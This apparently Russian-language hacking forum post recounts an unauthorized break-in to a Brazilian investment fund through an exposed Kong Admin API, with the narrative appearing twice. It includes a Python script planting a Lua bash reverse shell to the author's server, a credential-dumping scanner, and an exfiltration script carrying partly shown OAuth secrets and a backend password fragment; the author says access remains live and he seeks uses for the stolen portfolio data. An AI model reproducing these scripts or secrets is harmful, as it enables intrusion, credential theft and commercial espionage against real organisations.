Всем привет.
Думаю, каждый, кто хоть раз строил архитектуру на микросервисах, сталкивался с дикой головной болью: сотни эндпоинтов, везде нужно прикрутить авторизацию, настроить лимиты, логирование и SSL. Чтобы не пилить это в каждом сервисе отдельно, разрабы и DevOps-инженеры придумали ставить на входе «швейцарский нож» - API Gateway.
И вот один из самых популярных инструментов в этой нише - Kong сегодня станет нашим подопытным. Если по-простому, это такая прокси на стероидах, которая стоит перед всей твоей инфраструктурой и рулит всем трафиком, который летит в твои бэкенды.
Любая такая система, особенно если она управляет доступом ко всему бизнесу, - это критическая точка отказа. Наша цель сегодня будет проста и цинична: мы не будем искать 0-day эксплойты или ломать бинарники. Мы используем легитимные возможности админки Kong, чтобы получить полный контроль над трафиком крупного бразильского инвестиционного фонда.
Всё началось с банального рекона. Я сканировал диапазоны Латинской Америки и наткнулся на порт 8001. В мире Kong это порт Admin API, через который можно делать с шлюзом что угодно. Обычно его прячут за фаерволом, но тут он торчал наружу, как открытая касса.
Шаг 1. Открытая дверь в "Центр управления"
Начнем с базы. Я просто вбил адрес и нажал Enter. Сервер не спросил у меня ни логина, ни пароля, ни токена. Он просто взял и ответил JSON-ом с версией Kong и статусом ноды.
Что это нам дало? Простыми словами: порт 8001 - это Admin API. Это "мозг" шлюза.
Через этот порт админы говорят шлюзу:
Получив доступ к корню (/), мы автоматически получили доступ ко всем "рычагам" управления. Мы можем читать конфиги (GET), а в худшем случае - и менять их (POST/DELETE).
Глава 2. Попытка RCE: Классика жанра
Листая документацию Kong, я наткнулся на раздел о Serverless Functions (плагины pre-function и post-function). Суть проста: шлюз позволяет выполнять произвольный Lua-код прямо во время обработки запроса. Для разработчика это гибкость, для нас - потенциальный RCE.
Логика атаки вырисовывалась следующая:
1. Создаем левый сервис.
2. Вешаем на него роут.
3. Подключаем к роуту плагин pre-function.
4. В конфиг плагина прокидываем Lua-пейлоад с вызовом os.execute, который стучится на мой VPS.
Звучало как план. Я поднял неткат (nc -lvnp 4444) и накидал скрипт, чтобы автоматизировать процесс регистрации вредоносного сервиса.
Скрипт отработал, сервис создался, роут зарегистрировался. Я дернул эндпоинт, ожидая увидеть заветное соединение в терминале... но в ответ тишина.
Я потратил еще около часа, перебирая варианты пейлоадов: менял io.popen на os.execute, пробовал python-реверсы, sh, perl. Результат нулевой. Либо таймаут, либо 500-я ошибка, но шелл не прилетал.
Скорее всего, админы не совсем забили на безопасность и параметр untrusted_lua в конфиге стоял в режиме sandbox (либо off), что блокирует вызовы системных функций. Биться головой о закрытую дверь смысла не было, поэтому идею с RCE я временно отложил в ящик и решил посмотреть, что еще интересного можно вытащить через Admin API, раз уж у нас есть доступ на чтение.
Глава 3. Если не RCE, то тотальный дамп
Отложив идею с шеллом, я вернулся к тому, что у нас уже было - полному доступу к Admin API. По сути, передо мной была открытая панель управления всей безопасностью фонда. Зачем мне ломать стену, если я могу просто попросить ключи?
Я решил написать специализированный сканер. Его задача была проста: пройтись по всем сущностям Kong и выгрузить всё, что плохо лежит. Меня интересовали не скучные логи, а «мясо»:
- Consumers - кто пользуется API? (партнеры, внутренние сервисы).
- Plugins - где лежат хардкодные пароли, ключи шифрования и настройки авторизации.
- Credentials - OAuth токены, ключи API, JWT-секреты.
Логика простая: Kong хранит всё это в базе, и Admin API любезно отдает это по GET-запросу. Руками перебирать сотни JSON-ов лень, поэтому я накидал многопоточный дампер на Python. Он должен был вычистить всё подчистую.
Запустив скрипт, я откинулся на спинку кресла. Терминал окрасился в зеленый цвет: скрипт находил сервисы, роуты, потребителей. Но самое интересное началось, когда он добрался до плагинов и кредов. В папку loot_dump посыпались JSON-файлы, и анализ содержимого показал, что мы сорвали джекпот.
Глава 4. Разбор добычи: Ключи от всех дверей
Скрипт отработал, и папка loot_dump наполнилась файлами. Самое время налить кофе и посмотреть, что именно мы вытащили. Спойлер: мы нашли не просто конфиги, а ключи, которые позволяют нам стать кем угодно в этой системе - от разработчика до банка-партнера.
Давайте пройдемся по самым интересным находкам.
1. Перепись населения (consumers.json) Первым делом я открыл файл consumers.json. В терминологии Kong "Consumer" - это любой, кто пользуется API: мобильное приложение, фронтенд сайта или внешний партнер.
Вместо безликих ID я увидел вполне конкретные имена:
btg-consumer-api - судя по названию, интеграция с банком BTG.
investo-consumer-user-api - еще один крупный партнер.
rundeck-consumer-api - система автоматизации (Rundeck), у которой наверняка админские права.
apidev-consumer-leo - а вот и человеческий фактор. Тестовая учетка разработчика Лео. Обычно на таких висят максимальные права для отладки.
Это уже User Enumeration. Мы знаем, кого атаковать. Но зачем брутить пароли, если сканер вытащил их в чистом виде?
2. Связка ключей (creds_*.json) Скрипт автоматически проверил каждого юзера на наличие кредов и сложил их в отдельные файлы. И вот тут нас ждал настоящий джекпот.
В файлах creds_..._oauth2.json лежали пары client_id и client_secret в открытом виде.
Для тех, кто не в курсе: имея эти два ключа, я могу отправить POST-запрос на эндпоинт /oauth2/token с параметром grant_type=client_credentials и получить валидный access_token. Фактически, у меня на руках оказались ключи от имени банка BTG, системы деплоя Rundeck и разработчика Лео. Я могу генерировать токены и действовать от их имени абсолютно легально. WAF меня пропустит, логирование запишет это как штатную активность.
3. "Дымящийся пистолет" в плагинах (plugins.json) Но самое сладкое скрывалось в plugins.json. Обычно API Gateway не просто проксирует запросы, он их обогащает. Например, добавляет секретный заголовок, чтобы бэкенд понимал: "Запрос пришел от Kong, ему можно верить".
Я начал искать плагин request-transformer и нашел вот такую конфигурацию:
Админы захардкодили Basic Auth креды прямо в конфиг плагина. Декодируем Base64 (YWNldXNlcjp...) и получаем логин/пароль: aceuser:QBNHX5p0....
Что это значит? Это пароль от самого бэкенда (IBM App Connect). Теперь пазл сложился полностью:
Нам больше не нужен Kong. Мы можем стучаться напрямую к базе данных и сервисам, минуя любые проверки шлюза. Это называется Direct Origin Access, и это критическая уязвимость.
Глава 4.5. Карта местности: Подарок в конфигах
Прежде чем писать финальный скрипт для выгрузки данных, оставался один вопрос: куда именно стучаться? У нас есть валидные токены, есть адреса серверов, но мы не знаем точных эндпоинтов. Гадать, что там - /api/v1/users или /app/clients - можно часами.
Я вернулся к анализу файла plugins.json. Обычно там настраивают не только авторизацию, но и CORS - правила, разрешающие браузеру делать запросы с других доменов. И вот, листая конфиг, я наткнулся на интересный список разрешенных ориджинов (Origins):
Стоп. Cloudflare-адреса мне не интересны, а вот первый пункт зацепил. Порт 4003. Зачем API Gateway разрешает запросы с этого нестандартного порта? Обычно там вешают админки, метрики или... документацию.
Я вбил адрес в браузер и бинго!
Передо мной открылся Swagger UI. Это была не просто заглушка, а полная, интерактивная документация ко всему API фонда. Админы сами прописали этот адрес в конфиге, чтобы фронтенд документации мог общаться с бэкендом, но забыли, что конфиг этот может прочитать кто угодно.
Всё лежало как на ладони:
GET /etf/carteiras - список всех инвестиционных портфелей.
GET /etf/carteiras/{id}/historico - та самая история доходности, за которой охотятся конкуренты.
GET /etf/eventos-corporativos - инсайды по дивидендам.
Теперь у меня был полный комплект для идеального ограбления:
1. Ключ (OAuth-токен из consumers).
2. Замок (API Gateway).
3. Инструкция по открытию (найденный в конфиге Swagger).
Оставалось только соединить это всё в один Python-скрипт и нажать «Enter».
Глава 5. Эксфильтрация: Выносим «Секретный соус»
Имея на руках client_id и client_secret от учетки разработчика (которые мы нашли в дампе consumers), нам больше не нужно ничего ломать. Мы просто просим у шлюза токен, и он нам его дает. С этого момента для системы безопасности мы - свой человек.
Но что именно качать? В финансовом мире самое дорогое - это не персональные данные (хотя и они важны), а Интеллектуальная Собственность (IP). Инвестиционные фонды тратят миллионы долларов на аналитиков и алгоритмы, чтобы составить идеальный портфель акций. Это их «секретный ингредиент». Если конкурент узнает точный состав портфеля и веса акций, он может скопировать стратегию бесплатно.
Я написал финальный скрипт. Его задача: авторизоваться, пройтись по всем финансовым продуктам банка и выкачать их состав, историю доходности и корпоративные события.
Что мы получили?
Скрипт отработал за пару секунд, и я открыл полученные JSON-файлы. То, что я увидел, тянет на серьезный коммерческий шпионаж.
Что мы получили?
Скрипт отработал идеально. В папке financial_loot оказались JSON-файлы с полным составом флагманских продуктов фонда.
Стратегия фонда "DIVIDENDYIELD_DOWNSIDEVOL_ROE" В файле portfolio_1.json находится детальная структура активов. Это не просто список тикеров (вроде VALE3 или PETR4), а их точные процентные доли вплоть до сотых долей, а также алгоритм ребалансировки.
Я намеренно не публикую скриншоты с точными цифрами и процентами активов в этой статье. Доступ к API всё еще активен, токены валидны, и я пока ищу наиболее интересное применение этим данным, помимо простого ресёрча.
Вот реальные сценарии ущерба от такой утечки:
Атака «Фонд-Клон» (Copycat Fund): Главная ценность этого фонда - его алгоритм отбора акций (тот самый «секретный соус»). Инвесторы платят комиссию за управление (Management Fee) именно за эту экспертизу. Имея на руках точный состав портфеля и историю ребалансировки, конкурент может запустить точно такой же продукт, но с нулевой комиссией, так как ему не нужно содержать штат аналитиков. Это прямая угроза бизнес-модели.
Фронтраннинг (Front-Running): Зная алгоритм и текущие веса в портфеле, злоумышленники могут предсказывать крупные сделки фонда. Если робот фонда решит купить большой пакет акций VALE3, цена пойдет вверх. Хакер, зная это заранее (через анализ API), покупает акции раньше фонда и продает их ему же, но дороже. Это паразитирование на ликвидности компании.
Полный захват управления: Не забывайте, что мы зашли через Admin API. Мы ограничились чтением (GET), но права позволяли нам делать POST и DELETE. Мы могли бы изменить маршруты API, перенаправив всех реальных клиентов банка на фишинговый сайт, или просто удалить все сервисы (DELETE /services), остановив работу бизнеса на несколько дней. Это миллионные убытки и потеря репутации.
В начале статьи мы искали RCE и сложные уязвимости, а закончили тем, что просто взяли то, что плохо лежало.
Этот кейс - идеальный пример того, что безопасность - это не только дорогие WAF и навороченные системы защиты. Безопасность начинается с гигиены. Мы прошли путь от случайно найденного порта 8001 до полной компрометации коммерческой тайны крупного финтеха, не применив ни одного эксплойта.
Вся эта цепочка ошибок привела к тому, что любой школьник с ноутбуком мог бы управлять финансовыми потоками фонда.
Мораль проста: Проверяйте свой периметр. Закрывайте Admin API от внешнего мира. И никогда, слышите, никогда не храните секреты в открытом виде.
Берегите свои порты. Всем удачи!
Думаю, каждый, кто хоть раз строил архитектуру на микросервисах, сталкивался с дикой головной болью: сотни эндпоинтов, везде нужно прикрутить авторизацию, настроить лимиты, логирование и SSL. Чтобы не пилить это в каждом сервисе отдельно, разрабы и DevOps-инженеры придумали ставить на входе «швейцарский нож» - API Gateway.
И вот один из самых популярных инструментов в этой нише - Kong сегодня станет нашим подопытным. Если по-простому, это такая прокси на стероидах, которая стоит перед всей твоей инфраструктурой и рулит всем трафиком, который летит в твои бэкенды.
Любая такая система, особенно если она управляет доступом ко всему бизнесу, - это критическая точка отказа. Наша цель сегодня будет проста и цинична: мы не будем искать 0-day эксплойты или ломать бинарники. Мы используем легитимные возможности админки Kong, чтобы получить полный контроль над трафиком крупного бразильского инвестиционного фонда.
Всё началось с банального рекона. Я сканировал диапазоны Латинской Америки и наткнулся на порт 8001. В мире Kong это порт Admin API, через который можно делать с шлюзом что угодно. Обычно его прячут за фаерволом, но тут он торчал наружу, как открытая касса.
Не удалось прогрузить медиа
Шаг 1. Открытая дверь в "Центр управления"
Начнем с базы. Я просто вбил адрес и нажал Enter. Сервер не спросил у меня ни логина, ни пароля, ни токена. Он просто взял и ответил JSON-ом с версией Kong и статусом ноды.
Что это нам дало? Простыми словами: порт 8001 - это Admin API. Это "мозг" шлюза.
Через этот порт админы говорят шлюзу:
- Создай нового юзера.
- Подключи вот этот секретный бэкенд.
- Включи проверку паролей.
Получив доступ к корню (/), мы автоматически получили доступ ко всем "рычагам" управления. Мы можем читать конфиги (GET), а в худшем случае - и менять их (POST/DELETE).
Глава 2. Попытка RCE: Классика жанра
Листая документацию Kong, я наткнулся на раздел о Serverless Functions (плагины pre-function и post-function). Суть проста: шлюз позволяет выполнять произвольный Lua-код прямо во время обработки запроса. Для разработчика это гибкость, для нас - потенциальный RCE.
Логика атаки вырисовывалась следующая:
1. Создаем левый сервис.
2. Вешаем на него роут.
3. Подключаем к роуту плагин pre-function.
4. В конфиг плагина прокидываем Lua-пейлоад с вызовом os.execute, который стучится на мой VPS.
Звучало как план. Я поднял неткат (nc -lvnp 4444) и накидал скрипт, чтобы автоматизировать процесс регистрации вредоносного сервиса.
Python:
import requests
import sys
TARGET = "http://ip:8001"
LHOST = "ip"
LPORT = "4444"
payload = f"""
local handle = io.popen("bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'")
local result = handle:read("*a")
handle:close()
"""
def exploit():
s = requests.Session()
svc_data = {"name": "rce-test", "url": "http://google.com"}
r = s.post(f"{TARGET}/services", json=svc_data)
if r.status_code != 201:
sys.exit(0)
route_data = {"paths": ["/rce"], "service": {"name": "rce-test"}}
r = s.post(f"{TARGET}/routes", json=route_data)
plugin_data = {
"name": "pre-function",
"config": {"functions": [payload]}
}
r = s.post(f"{TARGET}/services/rce-test/plugins", json=plugin_data)
requests.get(f"http://ip:8000/rce")
if __name__ == "__main__":
exploit()
Скрипт отработал, сервис создался, роут зарегистрировался. Я дернул эндпоинт, ожидая увидеть заветное соединение в терминале... но в ответ тишина.
Я потратил еще около часа, перебирая варианты пейлоадов: менял io.popen на os.execute, пробовал python-реверсы, sh, perl. Результат нулевой. Либо таймаут, либо 500-я ошибка, но шелл не прилетал.
Скорее всего, админы не совсем забили на безопасность и параметр untrusted_lua в конфиге стоял в режиме sandbox (либо off), что блокирует вызовы системных функций. Биться головой о закрытую дверь смысла не было, поэтому идею с RCE я временно отложил в ящик и решил посмотреть, что еще интересного можно вытащить через Admin API, раз уж у нас есть доступ на чтение.
Глава 3. Если не RCE, то тотальный дамп
Отложив идею с шеллом, я вернулся к тому, что у нас уже было - полному доступу к Admin API. По сути, передо мной была открытая панель управления всей безопасностью фонда. Зачем мне ломать стену, если я могу просто попросить ключи?
Я решил написать специализированный сканер. Его задача была проста: пройтись по всем сущностям Kong и выгрузить всё, что плохо лежит. Меня интересовали не скучные логи, а «мясо»:
- Consumers - кто пользуется API? (партнеры, внутренние сервисы).
- Plugins - где лежат хардкодные пароли, ключи шифрования и настройки авторизации.
- Credentials - OAuth токены, ключи API, JWT-секреты.
Логика простая: Kong хранит всё это в базе, и Admin API любезно отдает это по GET-запросу. Руками перебирать сотни JSON-ов лень, поэтому я накидал многопоточный дампер на Python. Он должен был вычистить всё подчистую.
Python:
import requests
import os
import concurrent.futures
import urllib3
import json
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = "http://ip:8001"
OUT_DIR = "loot_dump"
endpoints = [
"consumers",
"services",
"routes",
"plugins",
"upstreams",
"certificates",
"acls",
"snis",
"ca_certificates"
]
class Color:
GREEN = '\033[92m'
RED = '\033[91m'
CYAN = '\033[96m'
RESET = '\033[0m'
def save_loot(name, data):
if not os.path.exists(OUT_DIR):
os.makedirs(OUT_DIR)
filename = f"{OUT_DIR}/{name}.json"
with open(filename, 'w', encoding='utf-8') as f:
json.dump(data, f, indent=4)
def scan_endpoint(ep):
url = f"{TARGET}/{ep}"
try:
r = requests.get(url, verify=False, timeout=10)
if r.status_code == 200:
data = r.json()
count = len(data.get('data', []))
if count > 0:
print(f"{Color.GREEN}[+] {ep.upper():<15} : {count} items found{Color.RESET}")
save_loot(ep, data)
if ep == "consumers":
for c in data['data']:
cid = c['id']
username = c.get('username', 'unknown')
check_consumer_creds(cid, username)
else:
print(f"{Color.CYAN}[*] {ep.upper():<15} : Empty{Color.RESET}")
else:
print(f"{Color.RED}[!] {ep.upper():<15} : HTTP {r.status_code}{Color.RESET}")
except Exception as e:
print(f"{Color.RED}[ERROR] {ep}: {str(e)}{Color.RESET}")
def check_consumer_creds(cid, username):
auth_methods = ["basic-auth", "key-auth", "oauth2", "jwt", "hmac-auth"]
for method in auth_methods:
url = f"{TARGET}/consumers/{cid}/{method}"
try:
r = requests.get(url, verify=False)
if r.status_code == 200:
creds = r.json().get('data', [])
if creds:
print(f" {Color.GREEN}-> Found {method} for user '{username}'!{Color.RESET}")
save_loot(f"creds_{username}_{method}", creds)
except: pass
def main():
print(f"{Color.CYAN}[*] Target: {TARGET}{Color.RESET}")
print("[*] Starting extraction process...")
with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
executor.map(scan_endpoint, endpoints)
print(f"\n{Color.GREEN}[DONE] All data extracted to ./{OUT_DIR}{Color.RESET}")
if __name__ == "__main__":
main()
Запустив скрипт, я откинулся на спинку кресла. Терминал окрасился в зеленый цвет: скрипт находил сервисы, роуты, потребителей. Но самое интересное началось, когда он добрался до плагинов и кредов. В папку loot_dump посыпались JSON-файлы, и анализ содержимого показал, что мы сорвали джекпот.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Глава 4. Разбор добычи: Ключи от всех дверей
Скрипт отработал, и папка loot_dump наполнилась файлами. Самое время налить кофе и посмотреть, что именно мы вытащили. Спойлер: мы нашли не просто конфиги, а ключи, которые позволяют нам стать кем угодно в этой системе - от разработчика до банка-партнера.
Давайте пройдемся по самым интересным находкам.
1. Перепись населения (consumers.json) Первым делом я открыл файл consumers.json. В терминологии Kong "Consumer" - это любой, кто пользуется API: мобильное приложение, фронтенд сайта или внешний партнер.
Вместо безликих ID я увидел вполне конкретные имена:
Не удалось прогрузить медиа
btg-consumer-api - судя по названию, интеграция с банком BTG.
investo-consumer-user-api - еще один крупный партнер.
rundeck-consumer-api - система автоматизации (Rundeck), у которой наверняка админские права.
apidev-consumer-leo - а вот и человеческий фактор. Тестовая учетка разработчика Лео. Обычно на таких висят максимальные права для отладки.
Это уже User Enumeration. Мы знаем, кого атаковать. Но зачем брутить пароли, если сканер вытащил их в чистом виде?
2. Связка ключей (creds_*.json) Скрипт автоматически проверил каждого юзера на наличие кредов и сложил их в отдельные файлы. И вот тут нас ждал настоящий джекпот.
В файлах creds_..._oauth2.json лежали пары client_id и client_secret в открытом виде.
Не удалось прогрузить медиа
Для тех, кто не в курсе: имея эти два ключа, я могу отправить POST-запрос на эндпоинт /oauth2/token с параметром grant_type=client_credentials и получить валидный access_token. Фактически, у меня на руках оказались ключи от имени банка BTG, системы деплоя Rundeck и разработчика Лео. Я могу генерировать токены и действовать от их имени абсолютно легально. WAF меня пропустит, логирование запишет это как штатную активность.
3. "Дымящийся пистолет" в плагинах (plugins.json) Но самое сладкое скрывалось в plugins.json. Обычно API Gateway не просто проксирует запросы, он их обогащает. Например, добавляет секретный заголовок, чтобы бэкенд понимал: "Запрос пришел от Kong, ему можно верить".
Я начал искать плагин request-transformer и нашел вот такую конфигурацию:
Не удалось прогрузить медиа
Админы захардкодили Basic Auth креды прямо в конфиг плагина. Декодируем Base64 (YWNldXNlcjp...) и получаем логин/пароль: aceuser:QBNHX5p0....
Что это значит? Это пароль от самого бэкенда (IBM App Connect). Теперь пазл сложился полностью:
- У нас есть адреса бэкендов (из services.json).
- У нас есть пароль от бэкендов (из plugins.json).
Нам больше не нужен Kong. Мы можем стучаться напрямую к базе данных и сервисам, минуя любые проверки шлюза. Это называется Direct Origin Access, и это критическая уязвимость.
Глава 4.5. Карта местности: Подарок в конфигах
Прежде чем писать финальный скрипт для выгрузки данных, оставался один вопрос: куда именно стучаться? У нас есть валидные токены, есть адреса серверов, но мы не знаем точных эндпоинтов. Гадать, что там - /api/v1/users или /app/clients - можно часами.
Я вернулся к анализу файла plugins.json. Обычно там настраивают не только авторизацию, но и CORS - правила, разрешающие браузеру делать запросы с других доменов. И вот, листая конфиг, я наткнулся на интересный список разрешенных ориджинов (Origins):
Не удалось прогрузить медиа
Стоп. Cloudflare-адреса мне не интересны, а вот первый пункт зацепил. Порт 4003. Зачем API Gateway разрешает запросы с этого нестандартного порта? Обычно там вешают админки, метрики или... документацию.
Я вбил адрес в браузер и бинго!
Не удалось прогрузить медиа
Передо мной открылся Swagger UI. Это была не просто заглушка, а полная, интерактивная документация ко всему API фонда. Админы сами прописали этот адрес в конфиге, чтобы фронтенд документации мог общаться с бэкендом, но забыли, что конфиг этот может прочитать кто угодно.
Всё лежало как на ладони:
GET /etf/carteiras - список всех инвестиционных портфелей.
GET /etf/carteiras/{id}/historico - та самая история доходности, за которой охотятся конкуренты.
GET /etf/eventos-corporativos - инсайды по дивидендам.
Теперь у меня был полный комплект для идеального ограбления:
1. Ключ (OAuth-токен из consumers).
2. Замок (API Gateway).
3. Инструкция по открытию (найденный в конфиге Swagger).
Оставалось только соединить это всё в один Python-скрипт и нажать «Enter».
Глава 5. Эксфильтрация: Выносим «Секретный соус»
Имея на руках client_id и client_secret от учетки разработчика (которые мы нашли в дампе consumers), нам больше не нужно ничего ломать. Мы просто просим у шлюза токен, и он нам его дает. С этого момента для системы безопасности мы - свой человек.
Но что именно качать? В финансовом мире самое дорогое - это не персональные данные (хотя и они важны), а Интеллектуальная Собственность (IP). Инвестиционные фонды тратят миллионы долларов на аналитиков и алгоритмы, чтобы составить идеальный портфель акций. Это их «секретный ингредиент». Если конкурент узнает точный состав портфеля и веса акций, он может скопировать стратегию бесплатно.
Я написал финальный скрипт. Его задача: авторизоваться, пройтись по всем финансовым продуктам банка и выкачать их состав, историю доходности и корпоративные события.
Python:
import requests
import json
import os
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TOKEN_URL = "https://ip:8443/etf/oauth2/token"
API_BASE = "https://ip:8443/etf"
CLIENT_ID = "LwAJFpzJ94tk7RCW
3d1HbBkuthXs0Q1F"
CLIENT_SECRET = "tInUK9FOB1m
YVw8Bl42BKoQPUOZ3b7CB"
def get_token():
print(f"[*] Authenticating as Client ID: {CLIENT_ID[:5]}...")
data = {
"grant_type": "client_credentials",
"client_id": CLIENT_ID,
"client_secret": CLIENT_SECRET
}
try:
r = requests.post(TOKEN_URL, data=data, verify=False)
if r.status_code == 200:
token = r.json().get("access_token")
print(f"[+] OAuth Token obtained: {token[:15]}...")
return token
else:
print(f"[-] Auth failed: {r.text}")
exit()
except Exception as e:
print(f"[!] Network error: {e}")
exit()
def dump_data(token):
headers = {"Authorization": f"Bearer {token}"}
os.makedirs("financial_loot", exist_ok=True)
endpoints = [
"/carteiras",
"/retornos",
"/eventos-corporativos",
"/indices"
]
print("\n[*] Starting Data Exfiltration...")
for ep in endpoints:
print(f"[*] Dumping endpoint: {ep}")
try:
r = requests.get(f"{API_BASE}{ep}", headers=headers, verify=False)
if r.status_code == 200:
data = r.json()
filename = f"financial_loot{ep.replace('/', '_')}.json"
with open(filename, "w") as f:
json.dump(data, f, indent=4)
print(f"[+] Saved {len(data)} records to {filename}")
else:
print(f"[-] Failed {ep}: {r.status_code}")
except Exception as e:
print(f"[!] Error processing {ep}: {e}")
print("\n[*] Running Deep IDOR Scan (Hidden Portfolios)...")
for i in range(1, 10):
url = f"{API_BASE}/carteiras/{i}"
try:
r = requests.get(url, headers=headers, verify=False)
if r.status_code == 200:
data = r.json()
portfolios = data.get('portfolios', [])
if not portfolios:
print(f"[-] ID {i} exists but is empty (Skipping)")
continue
p_name = portfolios[0].get('indexName', 'Unknown')
print(f"[!] FOUND HIDDEN PORTFOLIO ID {i}: {p_name}")
with open(f"financial_loot/portfolio_{i}.json", "w") as f:
json.dump(data, f, indent=4)
hist_url = f"{url}/historico"
rh = requests.get(hist_url, headers=headers, verify=False)
if rh.status_code == 200:
print(f" -> Historical data extracted for ID {i}")
with open(f"financial_loot/portfolio_{i}_history.json", "w") as f:
json.dump(rh.json(), f, indent=4)
except Exception as e:
print(f"[!] Error on ID {i}: {e}")
if __name__ == "__main__":
token = get_token()
dump_data(token)
Что мы получили?
Скрипт отработал за пару секунд, и я открыл полученные JSON-файлы. То, что я увидел, тянет на серьезный коммерческий шпионаж.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Что мы получили?
Скрипт отработал идеально. В папке financial_loot оказались JSON-файлы с полным составом флагманских продуктов фонда.
Стратегия фонда "DIVIDENDYIELD_DOWNSIDEVOL_ROE" В файле portfolio_1.json находится детальная структура активов. Это не просто список тикеров (вроде VALE3 или PETR4), а их точные процентные доли вплоть до сотых долей, а также алгоритм ребалансировки.
Я намеренно не публикую скриншоты с точными цифрами и процентами активов в этой статье. Доступ к API всё еще активен, токены валидны, и я пока ищу наиболее интересное применение этим данным, помимо простого ресёрча.
Вот реальные сценарии ущерба от такой утечки:
Атака «Фонд-Клон» (Copycat Fund): Главная ценность этого фонда - его алгоритм отбора акций (тот самый «секретный соус»). Инвесторы платят комиссию за управление (Management Fee) именно за эту экспертизу. Имея на руках точный состав портфеля и историю ребалансировки, конкурент может запустить точно такой же продукт, но с нулевой комиссией, так как ему не нужно содержать штат аналитиков. Это прямая угроза бизнес-модели.
Фронтраннинг (Front-Running): Зная алгоритм и текущие веса в портфеле, злоумышленники могут предсказывать крупные сделки фонда. Если робот фонда решит купить большой пакет акций VALE3, цена пойдет вверх. Хакер, зная это заранее (через анализ API), покупает акции раньше фонда и продает их ему же, но дороже. Это паразитирование на ликвидности компании.
Полный захват управления: Не забывайте, что мы зашли через Admin API. Мы ограничились чтением (GET), но права позволяли нам делать POST и DELETE. Мы могли бы изменить маршруты API, перенаправив всех реальных клиентов банка на фишинговый сайт, или просто удалить все сервисы (DELETE /services), остановив работу бизнеса на несколько дней. Это миллионные убытки и потеря репутации.
В начале статьи мы искали RCE и сложные уязвимости, а закончили тем, что просто взяли то, что плохо лежало.
Этот кейс - идеальный пример того, что безопасность - это не только дорогие WAF и навороченные системы защиты. Безопасность начинается с гигиены. Мы прошли путь от случайно найденного порта 8001 до полной компрометации коммерческой тайны крупного финтеха, не применив ни одного эксплойта.
- Админы забыли закрыть порт.
- Разработчики захардкодили пароли в конфиги.
- Архитекторы выставили бэкенды наружу.
Вся эта цепочка ошибок привела к тому, что любой школьник с ноутбуком мог бы управлять финансовыми потоками фонда.
Мораль проста: Проверяйте свой периметр. Закрывайте Admin API от внешнего мира. И никогда, слышите, никогда не храните секреты в открытом виде.
Берегите свои порты. Всем удачи!
👍29
😁6
🤔6
LIMB